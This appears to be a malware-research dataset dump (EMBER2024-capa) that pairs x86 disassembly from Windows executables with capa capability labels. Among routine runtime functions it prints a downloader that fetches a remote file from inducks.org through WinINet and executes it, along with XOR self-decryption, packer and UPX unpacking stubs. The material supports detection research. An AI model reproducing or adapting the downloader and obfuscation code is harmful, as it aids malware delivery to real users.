joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43e010
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
test ebx, 0xffffffff
je 0x43dff6
sub ecx, edx
test edx, 3
je 0x43dfc7
movzx eax, byte [ecx + edx]
cmp al, byte [edx]
jne 0x43e000
test eax, eax
je 0x43dff6
inc edx
sub ebx, 1
jbe 0x43dff6
test dl, 3
jne 0x43dfb0
lea eax, [ecx + edx]
and eax, 0xfff
cmp eax, 0xffc
ja 0x43dfb0
mov eax, dword [ecx + edx]
cmp eax, dword [edx]
jne 0x43dfb0
sub ebx, 4
jbe 0x43dff6
lea esi, [eax - 0x1010101]
add edx, 4
not eax
and eax, esi
test eax, 0x80808080
je 0x43dfc7
xor eax, eax
pop esi
pop ebx
ret
dec eax
inc esi
add byte [ebx + 0x55], dl
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x464820]
and byte [eax + 0x46], cl
add byte [ecx + 0x6a], dl
add byte [ecx - 0xd7dbbc], cl
adc eax, sym.imp.KERNEL32.dll_GetProcessHeap
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x104
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edx, edx
xor esi, esi
movzx ecx, word [edi + edx*2]
mov eax, edx
cmp ecx, 0x5c
cmovne eax, esi
mov esi, eax
test cx, cx
je 0x43e052
inc edx
jmp 0x43e03c
lea esi, [edi + esi*2]
mov edi, dword [0x464838]
cmp dword [edi], 0
je 0x43e0ae
movzx ebx, word [esi + 2]
xor eax, eax
mov ebp, ebx
test bx, bx
je 0x43e076
inc eax
cmp word [esi + eax*2 + 2], 0
jne 0x43e06d
cmp al, byte [edi]
je 0x43e083
cmp al, byte [edi + 1]
jne 0x43e21e
xor edx, edx
xor ecx, ecx
test bx, bx
je 0x43e0a0
mov eax, ebp
movzx eax, ax
lea ecx, [ecx + 1]
add edx, eax
movzx eax, word [esi + ecx*2 + 2]
test ax, ax
jne 0x43e08e
cmp edx, dword [edi + 4]
je 0x43e0ae
cmp edx, dword [edi + 8]
jne 0x43e21e
mov eax, dword [0x464820]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [str.WININET.DLL]
mov ebx, eax
push ecx
mov edi, ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [str.InternetOpenA]
mov esi, eax
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ecx
push esi
call ebp
mov dword [esp + 0x18], eax
mov ecx, dword [str.InternetOpenUrlA]
push ecx
push esi
call ebp
mov dword [esp + 0x1c], eax
mov eax, dword [str.InternetReadFile]
push eax
push esi
call ebp
push 0
push 0
push 0
mov dword [esp + 0x20], eax
mov eax, dword [str.NETDL1.0]
push 1
push eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x24], 0
call eax
test eax, eax
je 0x43e21e
mov ecx, dword [0x464804]
push 0
push ecx
mov ecx, dword [str.https:__inducks.org_fr_richard_img_gr1a.jpg]
push 0
push 0
push ecx
push eax
mov eax, dword [esp + 0x34]
and al, 0x34

Function at 0x43e140
Capabilities:
Terminate process

Disassembly:
and al, 0x34
call eax
mov esi, eax
test esi, esi
je 0x43e21e
mov ecx, dword [0x464820]
lea eax, [esp + 0x10]
push eax
mov eax, dword [esp + 0x18]
push ecx
push ebx
push esi
call eax
test eax, eax
je 0x43e21e
nop
Function at 0x43e186
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 0x10]
test eax, eax
je 0x43e18c
add edi, eax
lea eax, [esp + 0x10]
push eax
mov eax, dword [0x464820]
push eax
mov eax, dword [esp + 0x1c]
push edi
push esi
call eax
test eax, eax
jne 0x43e16b
cmp edi, ebx
je 0x43e21e
mov edx, dword [ebx]
xor ecx, ecx
nop dword [eax]
mov eax, dword [0x464818]
mov eax, dword [eax + ecx]
add eax, edx
mov dword [ecx + edi], eax
add ecx, 4
cmp ecx, 0x14
jl 0x43e19b
push edi
push dword [esp + 0x24]
call ebp
test eax, eax
je 0x43e21e
mov ecx, dword [0x464850]
push ecx
mov ecx, dword [0x464820]
push 0x1000
add byte [ecx + 0x6a], dl
add bh, bh
ror byte [ebx + 0x46481035], 1
add byte [ebx + 0x243503f8], cl
dec eax
inc esi
add byte [edx + 0x17fe], bh
lea ecx, [edi + 8]
mov ebx, dword [esi + 4]
sub esi, edi
mov eax, dword [esi + ecx]
lea ecx, [ecx + 4]
add eax, ebx
mov dword [ecx - 4], eax
sub edx, 1
jne 0x43e1ed
mov eax, dword [0x46481c]
mov dword [edi + 8], eax
mov eax, dword [0x464844]
mov ecx, dword [edi + 0xc]
add ecx, eax
mov eax, dword [0x464844]
inc esi
add byte [ebx], al
iretd
add edi, eax
push edi
call ecx
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x43e440
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43e46d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43e46d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x43e7ed
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4548c8
push 0x4548c0
push str.FlsAlloc
push 0x1e
call fcn.0043ed4c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x43e821
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x43e827
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x43e86b
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4548d8
push 0x4548d0
push str.FlsGetValue
push 0x20
call fcn.0043ed4c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x43e8a2
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40915c
nop
mov ecx, 0x2b000301
nop
nop
nop
nop
nop
test eax, eax
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x431024
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x25fd67cd
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040d73f
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040d73f
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040d73f
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040d73f
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040d73f
mov dword [0x41203c], eax
call fcn.0040d73f
test eax, eax
jge 0x402550
push 8
call fcn.0040d73f
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040d73f
pop ecx
push 1
call fcn.0040d73f
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040d73f
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040d73f
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040d73f
jmp 0x402495

Function at 0x40d73f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x40d74e
pop dword [ebp - 0x18]
mov eax, 0xf7314b6c
add eax, 0x90f8be2
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x3c46f
push 0
mov eax, 0xb8995490
add eax, 0x47a78c48
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x5446
xor edx, edx
add edx, eax
mov ebx, 0x31fd9fb7
add ebx, 0xce439c0d
add ebx, dword [ebp - 0x18]
mov edi, 0xe8525284
xor dword [ebp - 8], ebx
mov esi, dword [ebx]
xor dword [ebp - 8], 0xb52c1060
add esi, edi
xor dword [ebp - 0x14], 0x9c3dcc12
mov dword [edx], esi
xor dword [ebp - 0x10], esi
add edx, 4
add ebx, 4
loop 0x40d7a3
add eax, 0xa079a745
add eax, 0x5f879ca6
mov ebx, eax
add eax, 0xc531d106
add eax, 0x3ace2eff
mov ecx, 0x4af1f9a
add ecx, 0xfb90e066
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x6c3cc0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x21b000]
push edi
or ebp, 0xffffffff
jmp 0x6c3ce2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6c3ce9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6c3cd8
mov eax, 1
add ebx, ebx
jne 0x6c3cfb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6c3d0c
jne 0x6c3d2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6c3d2b
dec eax
add ebx, ebx
jne 0x6c3d18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x6c3cf0
add ebx, ebx
jne 0x6c3d27
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x6c3d7d
xor ecx, ecx
sub eax, 3
jb 0x6c3d43
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6c3db2
sar eax, 1
mov ebp, eax
jmp 0x6c3d4e
add ebx, ebx
jne 0x6c3d4e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6c3d1c
inc ecx
add ebx, ebx
jne 0x6c3d5c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6c3d1c
add ebx, ebx
jne 0x6c3d69
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x6c3d5e
jne 0x6c3d7a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6c3d5e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6c3d9c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6c3d8e
jmp 0x6c3cde
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6c3d9c
add edi, ecx
jmp 0x6c3cde
pop esi
mov edi, esi
mov ecx, 0x4119
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6c3dba
cmp byte [edi], 0x2c
jne 0x6c3dba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6c3dbf
lea edi, [esi + 0x2c0000]
mov eax, dword [edi]
or eax, eax
je 0x6c3e37
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2c7144]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2c7270]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6c3dec
mov ecx, edi
jns 0x6c3e1b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2c7274]
or eax, eax
je 0x6c3e31
mov dword [ebx], eax
add ebx, 4
jmp 0x6c3e09
call dword [esi + 0x2c727c]
mov ebp, dword [esi + 0x2c7278]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x6c3e6b
sub esp, 0xffffff80
jmp 0x47a880
Function at 0x402fc1
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x402fe2
jl 0x402fd9
test edi, edi
jne 0x402fe2
xor eax, eax
xor edx, edx
jmp 0x4030a3
cmp dword [ebx + 0x38], 0
je 0x402ff7
push eax
push edi
push dword [ebp + 8]
call fcn.004030a9
jmp 0x4030a3
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40303e
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x40303e
cmp eax, edi
jb 0x403018
mov eax, edi
mov dword [ebp - 4], edi
mov esi, dword [ebp + 8]
push eax
push ecx
push esi
call fcn.00477470
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [ebp - 4]
add esi, ecx
mov dword [ebp + 8], esi
mov esi, edi
sub esi, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x403044
mov eax, dword [ebp + 8]
mov dword [ebp + 8], eax
cmp dword [ebx + 0x4c], 0
je 0x403098
mov ecx, ebx
call fcn.004024cf
mov ecx, dword [ebp + 8]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x403083
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0047bf65
mov ecx, dword [ebp + 8]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp + 8], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x403098
jmp 0x403056
test edx, edx
je 0x403098
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0047bf65
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x40918a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
xor edx, edx
mov dword [ebp - 0x28], 0x67296887
mov dword [ebp - 0x24], 0x224005a7
mov dword [ebp - 0x20], 0xd05007b8
mov dword [ebp - 0x1c], 0xcfc932c2
mov dword [ebp - 0x18], 0x85cfc26f
mov dword [ebp - 0x14], 0xa0bff111
mov dword [ebp - 0x10], 0xe6a4747b
mov dword [ebp - 0xc], 0x7bdb9c33
mov byte [ebp - 8], 0x57
mov al, byte [ebp + edx - 0x28]
mov cl, dl
xor al, 0xc6
sub cl, al
mov al, 5
add cl, 0x60
xor cl, 0xf4
sub cl, 0x43
ror cl, 1
xor cl, 0x31
sub al, cl
xor al, 0xcf
sub al, dl
rol al, 1
add al, 0x5b
xor al, dl
rol al, 3
xor al, 0x53
ror al, 1
inc al
not al
rol al, 1
add al, dl
mov byte [ebp + edx - 0x28], al
inc edx
cmp edx, 0x21
jb 0x4091ce
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x28]
push eax
call fcn.0040195c
mov eax, dword [ebp + 8]
leave
ret 4

Function at 0x40acfe
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
movsx eax, byte [ebp + 0xc]
mov ecx, dword [edx]
xor eax, ecx
movzx eax, al
shr ecx, 8
xor ecx, dword [eax*4 + 0x4a6170]
movzx eax, cl
add eax, dword [edx + 4]
imul eax, eax, 0x8088405
mov dword [edx], ecx
mov ecx, dword [edx + 8]
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4a6170]
mov dword [edx + 8], ecx
pop ebp
ret

Function at 0x40cf34
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x40cf42
xor eax, eax
pop ebp
ret
mov ecx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
not ecx
cmp esi, 8
jb 0x40d001
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
sub esi, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4a6170]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4a6170]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4a6170]
movzx eax, byte [edx + 3]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4a6170]
movzx eax, byte [edx + 4]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4a6170]
movzx eax, byte [edx + 5]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4a6170]
movzx eax, byte [edx + 6]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4a6170]
movzx eax, byte [edx + 7]
add edx, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4a6170]
sub edi, 1
jne 0x40cf5a
pop edi
test esi, esi
je 0x40d01d
movzx eax, byte [edx]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4a6170]
inc edx
sub esi, 1
jne 0x40d005
not ecx
mov eax, ecx
pop esi
pop ebp
ret
Function at 0x416010
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, 0x1505
push edi
lea edi, [esi + eax]
cmp esi, edi
jae 0x416046
mov al, byte [esi]
push eax
call fcn.004246d0
movsx ecx, al
inc esi
mov eax, ebx
add esp, 4
shl eax, 5
add eax, ebx
xor ecx, eax
mov ebx, ecx
cmp esi, edi
jb 0x416028
pop edi
pop esi
movzx eax, bl
pop ebx
pop ebp
ret
Function at 0x41b160
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [ebp + 8]
push edi
push ebx
mov eax, dword [ebx + 8]
mov dword [ebp - 0xc], eax
call fcn.0041ad60
mov edi, dword [ebp + 0xc]
push edi
push ebx
mov dword [ebp - 0x14], eax
call fcn.0041ad30
mov edx, dword [ebp + 0x10]
add esp, 0xc
mov cl, 1
mov byte [ebp - 1], cl
mov dword [edx], 0
test eax, eax
je 0x41b2d6
cmp byte [eax + 0x3c], 0
je 0x41b2d6
cmp dword [edi + 0x8d8], 0
je 0x41b2d6
mov eax, dword [edi + 0x78]
test eax, eax
je 0x41b1c6
test byte [eax + 4], 0x10
je 0x41b1c6
add eax, 0x78
jmp 0x41b1cc
lea eax, [edi + 0x8dc]
xor ebx, ebx
mov dword [ebp - 0x10], eax
cmp dword [edi + 0x4a4], ebx
jbe 0x41b2d6
xor eax, eax
mov dword [ebp - 8], eax
push esi
mov esi, dword [edi + 0x8d8]
add esi, eax
cmp dword [esi + 0xc], 0
je 0x41b294
mov eax, dword [ebp - 0xc]
push dword [esi]
push dword [eax + 8]
call fcn.00424880
add esp, 8
test eax, eax
je 0x41b294
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0xc]
mov eax, dword [esi + 4]
cmp byte [ecx + 0x1c9], 0
jne 0x41b225
test eax, eax
je 0x41b239
jmp 0x41b294
test eax, eax
je 0x41b294
push eax
push dword [ecx + 0x64]
call fcn.00424880
add esp, 8
test eax, eax
je 0x41b294
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0xc]
mov eax, dword [esi + 0x1c]
cmp byte [ecx + 0x1ca], 0
jne 0x41b252
cmp eax, 0xffffffff
je 0x41b25f
jmp 0x41b294
cmp eax, 0xffffffff
je 0x41b294
cmp dword [ecx + 0x444], eax
jne 0x41b294
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x10]
cmp eax, dword [esi + 0x18]
jne 0x41b294
mov eax, dword [ecx + 0x1e0]
push dword [esi + 8]
push dword [eax]
call fcn.00424880
add esp, 8
test eax, eax
je 0x41b294
lea eax, [esi + 0x20]
push eax
push dword [ebp - 0x14]
call fcn.0041af00
add esp, 8
test al, al
jne 0x41b2a9
add dword [ebp - 8], 0x60
inc ebx
cmp ebx, dword [edi + 0x4a4]
jae 0x41b2d2
mov eax, dword [ebp - 8]
jmp 0x41b1e3
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 0x10]
inc dword [eax]
mov eax, dword [eax]
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0xc]
mov dword [ecx], eax
mov ecx, dword [ebp + 0x14]
test ecx, ecx
je 0x41b2c7
mov eax, dword [esi + 0x10]
mov dword [ecx], eax
pop esi
xor cl, cl
pop edi
mov al, cl
pop ebx
mov esp, ebp
pop ebp
ret
mov cl, byte [ebp - 1]
pop esi
pop edi
mov al, cl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4228a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x10]
call fcn.004228d0
add esp, 4
mov dword [ebp + 0x10], eax
pop ebp
jmp fcn.00490653

Function at 0x425650
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x425678
cmp dword [esi + 0x78], 0
je 0x425678
push 2
push 3
push esi
call fcn.00424df0
push dword [ebp + 0xc]
call fcn.004250d0
add esp, 0x10
jmp 0x425687
push dword [ebp + 0xc]
call fcn.004250d0
add esp, 4
test esi, esi
je 0x425698
cmp dword [esi + 0x78], 0
je 0x425698
push 3
push esi
call fcn.00424e30
add esp, 8
pop esi
pop ebp
ret
Function at 0x433e30
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
push 0
call fcn.0048ad8d
mov ecx, eax
add esp, 0x18
xor eax, eax
test ecx, ecx
je 0x433e57
cmp ecx, 0xffffffff
cmovne eax, ecx
pop ebp
ret
Function at 0x443eb0
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
lea eax, [ecx - 0xc8]
xor edi, edi
mov ebx, dword [esi + 0xc]
cmp eax, 0x64
jb 0x443ee2
push str.Couldnt_set_desired_mode
push esi
call fcn.00420d40
add esp, 8
lea eax, [edi + 0x11]
pop edi
pop esi
pop ebx
pop ebp
ret
cmp ecx, 0xc8
je 0x443ef9
push ecx
push str.Got_a__03d_response_code_instead_of_the_assumed_200
push esi
call fcn.00420e00
add esp, 0xc
mov al, byte [ebp + 0x10]
cmp al, 0x13
jne 0x443f11
push ebx
push esi
call fcn.00443b80
add esp, 8
mov edi, eax
pop edi
pop esi
pop ebx
pop ebp
ret
cmp al, 0x14
jne 0x443f25
push esi
call fcn.00442bd0
add esp, 4
mov edi, eax
pop edi
pop esi
pop ebx
pop ebp
ret
cmp al, 0x15
jne 0x443f39
push esi
call fcn.00443b60
add esp, 4
mov edi, eax
pop edi
pop esi
pop ebx
pop ebp
ret
cmp al, 0x16
jne 0x443f48
push esi
call fcn.00443d90
add esp, 4
mov edi, eax
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x450240
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0xc]
push 0x11
push str.WWW_Authenticate:
push esi
call fcn.004248b0
add esp, 0xc
test eax, eax
je 0x450270
mov eax, dword [edi + 0xe0]
mov dword [ebp + 0xc], eax
cmp eax, 0x191
je 0x450294
push 0x13
push str.Proxy_authenticate:
push esi
call fcn.004248b0
add esp, 0xc
test eax, eax
je 0x4502db
mov eax, dword [edi + 0xe0]
mov dword [ebp + 0xc], eax
cmp eax, 0x197
jne 0x4502db
push esi
call fcn.004279c0
mov esi, eax
add esp, 4
test esi, esi
jne 0x4502ab
pop edi
lea eax, [esi + 0x1b]
pop esi
pop ebx
pop ebp
ret
cmp dword [ebp + 0xc], 0x197
push esi
sete al
movzx eax, al
push eax
push edi
call fcn.00429540
push esi
mov edi, eax
call dword [0x4ca104]
add esp, 0x10
test edi, edi
je 0x450477
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret
push 0xf
push str.Content_Length:
push esi
call fcn.004248b0
add esp, 0xc
test eax, eax
je 0x450336
mov ecx, dword [edi + 0xe0]
lea eax, [ecx - 0xc8]
cmp eax, 0x64
jae 0x450316
push ecx
push str.Ignoring_Content_Length_in_CONNECT__03d_response
push edi
call fcn.00420e00
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
mov eax, dword [ebp + 0x10]
add eax, 0x200
push eax
push 0xa
lea eax, [esi + 0xf]
push 0
push eax
call fcn.00432ae0
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
push 5
push str.close
push 0xb
push str.Connection:
push esi
call fcn.00427920
add esp, 0x14
test al, al
jne 0x45046d
push 0x12
push str.Transfer_Encoding:
push esi
call fcn.004248b0
add esp, 0xc
test eax, eax
je 0x4503d4
mov ecx, dword [edi + 0xe0]
lea eax, [ecx - 0xc8]
cmp eax, 0x64
jae 0x450390
push ecx
push str.Ignoring_Transfer_Encoding_in_CONNECT__03d_response
push edi
call fcn.00420e00
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
push 7
push str.chunked
push 0x12
push str.Transfer_Encoding:
push esi
call fcn.00427920
add esp, 0x14
test al, al
je 0x450477
push str.CONNECT_responded_chunked
push edi
call fcn.00420e00
mov eax, dword [ebp + 0x10]
push edi
mov byte [eax + 0x20c], 1
call fcn.00453610
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
push 5
push str.close
push 0x11
push str.Proxy_Connection:
push esi
call fcn.00427920
add esp, 0x14
test al, al
jne 0x45046d
push 7
push str.HTTP_1.
push esi
call fcn.00482ab0
add esp, 0xc
test eax, eax
jne 0x450477
mov al, byte [esi + 7]
cmp al, 0x30
je 0x45040e
cmp al, 0x31
jne 0x450477
cmp byte [esi + 8], 0x20
jne 0x450477
mov cl, byte [esi + 9]
mov al, cl
sub al, 0x30
cmp al, 9
ja 0x450477
mov dl, byte [esi + 0xa]
mov al, dl
sub al, 0x30
cmp al, 9
ja 0x450477
mov dh, byte [esi + 0xb]
mov al, dh
sub al, 0x30
cmp al, 9
ja 0x450477
mov al, byte [esi + 0xc]
cmp al, 0x30
jl 0x450440
cmp al, 0x39
jle 0x450477
movsx eax, cl
lea ecx, [eax + eax*4]
movsx eax, dl
lea eax, [eax + ecx*2]
lea ecx, [eax + eax*4]
movsx eax, dh
lea eax, [eax + ecx*2]
add eax, 0xffffeb30
mov dword [edi + 0xe0], eax
mov dword [edi + 0xd5c], eax
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
mov eax, dword [ebp + 0x10]
mov byte [eax + 0x20d], 1
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret